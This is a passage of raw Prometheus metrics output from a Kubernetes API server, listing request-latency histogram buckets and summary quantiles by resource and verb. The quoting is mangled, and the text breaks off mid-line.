apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ get\ ,le=\ 1e+06\ } 348\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ get\ ,le=\ 2e+06\ } 348\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ get\ ,le=\ 4e+06\ } 348\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ get\ ,le=\ 8e+06\ } 348\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ get\ ,le=\ +inf\ } 348\r apiserver_request_latencies_sum{resource=\ serviceaccounts\ ,verb=\ get\ } 2.592425e+06\r apiserver_request_latencies_count{resource=\ serviceaccounts\ ,verb=\ get\ } 348\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ list\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ list\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ list\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ list\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ list\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ list\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ list\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ list\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ serviceaccounts\ ,verb=\ list\ } 333\r apiserver_request_latencies_count{resource=\ serviceaccounts\ ,verb=\ list\ } 1\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ watch\ ,le=\ +inf\ } 154\r apiserver_request_latencies_sum{resource=\ serviceaccounts\ ,verb=\ watch\ } 6.8774857752e+10\r apiserver_request_latencies_count{resource=\ serviceaccounts\ ,verb=\ watch\ } 154\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ connect\ ,le=\ 125000\ } 5807\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ connect\ ,le=\ 250000\ } 6300\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ connect\ ,le=\ 500000\ } 6493\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ connect\ ,le=\ 1e+06\ } 6522\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ connect\ ,le=\ 2e+06\ } 6533\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ connect\ ,le=\ 4e+06\ } 6533\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ connect\ ,le=\ 8e+06\ } 6534\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ connect\ ,le=\ +inf\ } 6534\r apiserver_request_latencies_sum{resource=\ services\ ,verb=\ connect\ } 3.85858382e+08\r apiserver_request_latencies_count{resource=\ services\ ,verb=\ connect\ } 6534\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ get\ ,le=\ 125000\ } 2.688195e+06\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ get\ ,le=\ 250000\ } 2.702092e+06\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ get\ ,le=\ 500000\ } 2.707436e+06\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ get\ ,le=\ 1e+06\ } 2.708128e+06\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ get\ ,le=\ 2e+06\ } 2.708259e+06\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ get\ ,le=\ 4e+06\ } 2.70826e+06\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ get\ ,le=\ 8e+06\ } 2.70826e+06\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ get\ ,le=\ +inf\ } 2.70826e+06\r apiserver_request_latencies_sum{resource=\ services\ ,verb=\ get\ } 2.4446125831e+10\r apiserver_request_latencies_count{resource=\ services\ ,verb=\ get\ } 2.70826e+06\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ list\ ,le=\ 125000\ } 3411\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ list\ ,le=\ 250000\ } 3427\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ list\ ,le=\ 500000\ } 3432\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ list\ ,le=\ 1e+06\ } 3436\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ list\ ,le=\ 2e+06\ } 3436\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ list\ ,le=\ 4e+06\ } 3436\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ list\ ,le=\ 8e+06\ } 3436\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ list\ ,le=\ +inf\ } 3436\r apiserver_request_latencies_sum{resource=\ services\ ,verb=\ list\ } 3.3720752e+07\r apiserver_request_latencies_count{resource=\ services\ ,verb=\ list\ } 3436\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ patch\ ,le=\ 125000\ } 5\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ patch\ ,le=\ 250000\ } 5\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ patch\ ,le=\ 500000\ } 5\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ patch\ ,le=\ 1e+06\ } 5\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ patch\ ,le=\ 2e+06\ } 5\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ patch\ ,le=\ 4e+06\ } 5\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ patch\ ,le=\ 8e+06\ } 5\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ patch\ ,le=\ +inf\ } 5\r apiserver_request_latencies_sum{resource=\ services\ ,verb=\ patch\ } 66210\r apiserver_request_latencies_count{resource=\ services\ ,verb=\ patch\ } 5\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 125000\ } 32\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 250000\ } 34\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 500000\ } 35\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 1e+06\ } 35\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 2e+06\ } 36\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 4e+06\ } 36\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 8e+06\ } 36\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ +inf\ } 36\r apiserver_request_latencies_sum{resource=\ services\ ,verb=\ proxy\ } 3.057711e+06\r apiserver_request_latencies_count{resource=\ services\ ,verb=\ proxy\ } 36\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watch\ ,le=\ 125000\ } 1787\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watch\ ,le=\ 250000\ } 1829\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watch\ ,le=\ 500000\ } 1860\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watch\ ,le=\ 1e+06\ } 1869\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watch\ ,le=\ 2e+06\ } 1870\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watch\ ,le=\ 4e+06\ } 1870\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watch\ ,le=\ 8e+06\ } 1870\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watch\ ,le=\ +inf\ } 4138\r apiserver_request_latencies_sum{resource=\ services\ ,verb=\ watch\ } 7.46005271353e+11\r apiserver_request_latencies_count{resource=\ services\ ,verb=\ watch\ } 4138\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watchlist\ ,le=\ 125000\ } 15\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watchlist\ ,le=\ 250000\ } 15\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watchlist\ ,le=\ 500000\ } 15\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watchlist\ ,le=\ 1e+06\ } 15\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watchlist\ ,le=\ 2e+06\ } 15\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watchlist\ ,le=\ 4e+06\ } 15\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watchlist\ ,le=\ 8e+06\ } 16\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ watchlist\ ,le=\ +inf\ } 395\r apiserver_request_latencies_sum{resource=\ services\ ,verb=\ watchlist\ } 2.14384246956e+11\r apiserver_request_latencies_count{resource=\ services\ ,verb=\ watchlist\ } 395\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 125000\ } 32\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 250000\ } 34\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 500000\ } 35\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 1e+06\ } 35\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 2e+06\ } 36\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 4e+06\ } 36\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ 8e+06\ } 36\r apiserver_request_latencies_bucket{resource=\ services\ ,verb=\ proxy\ ,le=\ +inf\ } 36\r apiserver_request_latencies_sum{resource=\ services\ ,verb=\ proxy\ } 3.057303e+06\r apiserver_request_latencies_count{resource=\ services\ ,verb=\ proxy\ } 36\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ get\ ,le=\ 125000\ } 18\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ get\ ,le=\ 250000\ } 18\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ get\ ,le=\ 500000\ } 18\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ get\ ,le=\ 1e+06\ } 18\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ get\ ,le=\ 2e+06\ } 18\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ get\ ,le=\ 4e+06\ } 18\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ get\ ,le=\ 8e+06\ } 18\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ get\ ,le=\ +inf\ } 18\r apiserver_request_latencies_sum{resource=\ statefulsets\ ,verb=\ get\ } 76840\r apiserver_request_latencies_count{resource=\ statefulsets\ ,verb=\ get\ } 18\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ list\ ,le=\ 125000\ } 3392\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ list\ ,le=\ 250000\ } 3415\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ list\ ,le=\ 500000\ } 3424\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ list\ ,le=\ 1e+06\ } 3428\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ list\ ,le=\ 2e+06\ } 3428\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ list\ ,le=\ 4e+06\ } 3428\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ list\ ,le=\ 8e+06\ } 3428\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ list\ ,le=\ +inf\ } 3428\r apiserver_request_latencies_sum{resource=\ statefulsets\ ,verb=\ list\ } 3.6405017e+07\r apiserver_request_latencies_count{resource=\ statefulsets\ ,verb=\ list\ } 3428\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ statefulsets\ ,verb=\ watch\ ,le=\ +inf\ } 153\r apiserver_request_latencies_sum{resource=\ statefulsets\ ,verb=\ watch\ } 6.9107273702e+10\r apiserver_request_latencies_count{resource=\ statefulsets\ ,verb=\ watch\ } 153\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ get\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ get\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ get\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ get\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ get\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ get\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ get\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ get\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ storageclasses\ ,verb=\ get\ } 69073\r apiserver_request_latencies_count{resource=\ storageclasses\ ,verb=\ get\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ list\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ list\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ list\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ list\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ list\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ list\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ list\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ list\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ storageclasses\ ,verb=\ list\ } 316\r apiserver_request_latencies_count{resource=\ storageclasses\ ,verb=\ list\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ patch\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ patch\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ patch\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ patch\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ patch\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ patch\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ patch\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ patch\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ storageclasses\ ,verb=\ patch\ } 15753\r apiserver_request_latencies_count{resource=\ storageclasses\ ,verb=\ patch\ } 1\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ storageclasses\ ,verb=\ watch\ ,le=\ +inf\ } 149\r apiserver_request_latencies_sum{resource=\ storageclasses\ ,verb=\ watch\ } 6.8948799683e+10\r apiserver_request_latencies_count{resource=\ storageclasses\ ,verb=\ watch\ } 149\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ get\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ get\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ get\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ get\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ get\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ get\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ get\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ get\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ thirdpartyresources\ ,verb=\ get\ } 34480\r apiserver_request_latencies_count{resource=\ thirdpartyresources\ ,verb=\ get\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ list\ ,le=\ 125000\ } 6675\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ list\ ,le=\ 250000\ } 6815\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ list\ ,le=\ 500000\ } 6882\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ list\ ,le=\ 1e+06\ } 6888\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ list\ ,le=\ 2e+06\ } 6888\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ list\ ,le=\ 4e+06\ } 6888\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ list\ ,le=\ 8e+06\ } 6888\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ list\ ,le=\ +inf\ } 6888\r apiserver_request_latencies_sum{resource=\ thirdpartyresources\ ,verb=\ list\ } 1.59744481e+08\r apiserver_request_latencies_count{resource=\ thirdpartyresources\ ,verb=\ list\ } 6888\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ patch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ patch\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ patch\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ patch\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ patch\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ patch\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ patch\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ thirdpartyresources\ ,verb=\ patch\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ thirdpartyresources\ ,verb=\ patch\ } 130468\r apiserver_request_latencies_count{resource=\ thirdpartyresources\ ,verb=\ patch\ } 1\r   help apiserver_request_latencies_summary response latency summary in microseconds for each verb and resource.\r   type apiserver_request_latencies_summary summary\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ clusterrolebindings\ ,verb=\ get\ } 37213\r apiserver_request_latencies_summary_count{resource=\ clusterrolebindings\ ,verb=\ get\ } 30\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ clusterrolebindings\ ,verb=\ list\ } 1546\r apiserver_request_latencies_summary_count{resource=\ clusterrolebindings\ ,verb=\ list\ } 1\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ post\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ post\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ post\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ clusterrolebindings\ ,verb=\ post\ } 206842\r apiserver_request_latencies_summary_count{resource=\ clusterrolebindings\ ,verb=\ post\ } 24\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ put\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ put\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ clusterrolebindings\ ,verb=\ put\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ clusterrolebindings\ ,verb=\ put\ } 94392\r apiserver_request_latencies_summary_count{resource=\ clusterrolebindings\ ,verb=\ put\ } 6\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ clusterroles\ ,verb=\ get\ } 266494\r apiserver_request_latencies_summary_count{resource=\ clusterroles\ ,verb=\ get\ } 39\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ clusterroles\ ,verb=\ list\ } 3845\r apiserver_request_latencies_summary_count{resource=\ clusterroles\ ,verb=\ list\ } 1\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ post\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ post\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ post\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ clusterroles\ ,verb=\ post\ } 208038\r apiserver_request_latencies_summary_count{resource=\ clusterroles\ ,verb=\ post\ } 30\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ put\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ put\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ clusterroles\ ,verb=\ put\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ clusterroles\ ,verb=\ put\ } 657777\r apiserver_request_latencies_summary_count{resource=\ clusterroles\ ,verb=\ put\ } 9\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ get\ ,quantile=\ 0.5\ } 2559\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ get\ ,quantile=\ 0.9\ } 100907\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ get\ ,quantile=\ 0.99\ } 348670\r apiserver_request_latencies_summary_sum{resource=\ configmaps\ ,verb=\ get\ } 5.10270682e+08\r apiserver_request_latencies_summary_count{resource=\ configmaps\ ,verb=\ get\ } 14928\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ configmaps\ ,verb=\ list\ } 1947\r apiserver_request_latencies_summary_count{resource=\ configmaps\ ,verb=\ list\ } 2\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ patch\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ patch\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ patch\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ configmaps\ ,verb=\ patch\ } 140776\r apiserver_request_latencies_summary_count{resource=\ configmaps\ ,verb=\ patch\ } 2\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ watchlist\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ watchlist\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ configmaps\ ,verb=\ watchlist\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ configmaps\ ,verb=\ watchlist\ } 1.178198112e+09\r apiserver_request_latencies_summary_count{resource=\ configmaps\ ,verb=\ watchlist\ } 4\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ delete\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ delete\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ delete\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ cronjobs\ ,verb=\ delete\ } 105882\r apiserver_request_latencies_summary_count{resource=\ cronjobs\ ,verb=\ delete\ } 1\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ cronjobs\ ,verb=\ get\ } 19176\r apiserver_request_latencies_summary_count{resource=\ cronjobs\ ,verb=\ get\ } 2\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ cronjobs\ ,verb=\ list\ } 92955\r apiserver_request_latencies_summary_count{resource=\ cronjobs\ ,verb=\ list\ } 2\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ post\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ post\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ cronjobs\ ,verb=\ post\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ cronjobs\ ,verb=\ post\ } 8842\r apiserver_request_latencies_summary_count{resource=\ cronjobs\ ,verb=\ post\ } 2\r apiserver_request_latencies_summary{resource=\ daemonsets\ 